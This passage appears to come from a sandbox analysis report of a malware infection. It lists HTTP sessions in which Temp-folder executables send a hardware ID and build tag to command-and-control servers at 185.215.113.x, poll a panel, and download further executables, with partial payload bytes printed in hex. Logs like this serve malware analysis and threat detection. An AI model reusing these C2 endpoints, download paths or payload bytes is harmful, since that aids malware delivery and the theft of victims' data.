Oct 30, 2024 12:37:21.071537971 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49906	185.215.113.206	80	6376	C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:21.535290956 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 12:37:22.449979067 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 12:37:22.634603024 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="build"tale------AFHDBGHJKFIDHJJJEBKE--
Oct 30, 2024 12:37:22.917746067 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49915	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:22.724374056 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 12:37:23.631249905 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49918	34.107.221.82	80	5928	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:22.768802881 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:37:23.366815090 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78786 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:37:33.374510050 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49931	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:25.242161036 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 30, 2024 12:37:26.161022902 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49947	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:27.958503962 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 12:37:28.857839108 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49960	185.215.113.16	80	764	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:29.806917906 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 12:37:30.712810993 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:30 GMT Content-Type: application/octet-stream Content-Length: 2895872 Last-Modified: Wed, 30 Oct 2024 10:42:46 GMT Connection: keep-alive ETag: "67220da6-2c3000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 fa d5 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$, `@ ,,`Ui` @ @.rsrc`2@.idata 8@fbnfxrsu++:@rjcetyim ,,@.taggant@,",@
Oct 30, 2024 12:37:30.712837934 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:30.712915897 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:30.712945938 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:30.712954044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:30.713063955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:30.713073969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:30.713084936 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:30.713094950 CET	348	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:30.713104963 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:30.718338966 CET	1236	IN	Data Raw: 44 73 58 d9 0c d2 b8 94 4e f0 d6 dc 5c e1 6f c4 15 d2 bb 74 ee fd 2d 94 4e f0 d6 6a 5b e5 6f 94 19 d2 59 0d 7b a1 ef 0c ac 25 53 7c b9 f8 d1 2e 5c e9 44 93 fe d2 e9 0c b0 bf 5c 43 f6 e4 08 40 51 8b 56 14 39 fc d5 bc 7c 07 58 b6 1b eb f2 88 2b cd Data Ascii: DsXN\ot-Nj[oY{%S\|.\D\C@QV9\|X+'klo[P ?%tg6TqztRM5$dlXV& QxWRRM6S/\v{utu#M4'[StZHtVSXnrVCOpPZYP#eP\p
Oct 30, 2024 12:37:34.232291937 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 12:37:34.513827085 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:34 GMT Content-Type: application/octet-stream Content-Length: 1933824 Last-Modified: Wed, 30 Oct 2024 11:24:18 GMT Connection: keep-alive ETag: "67221762-1d8200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@L!9@WkgLtgL @.rsrc@.idata @ P+@baulhwjgp2h@nnowpgbrpL\@.taggant0L"`@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49965	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:30.427887917 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 30, 2024 12:37:31.338406086 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49971	185.215.113.206	80	7596	C:\Users\user\AppData\Local\Temp\1002608001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:31.254623890 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 12:37:32.171648979 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 12:37:32.182313919 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJEHCGCGDAAAKFHJKJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="build"tale------KKKJEHCGCGDAAAKFHJKJ--
Oct 30, 2024 12:37:32.469079971 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49982	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:33.176765919 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 12:37:34.060713053 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49998	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:35.849405050 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 30, 2024 12:37:36.722480059 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50013	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:38.723908901 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 12:37:39.608550072 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50018	34.107.221.82	80	8032	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:38.840053082 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:37:39.448519945 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78802 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:37:39.760754108 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:37:39.888619900 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78802 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:37:40.057415009 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:37:40.184647083 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78803 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:37:40.617221117 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:37:40.744649887 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78803 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
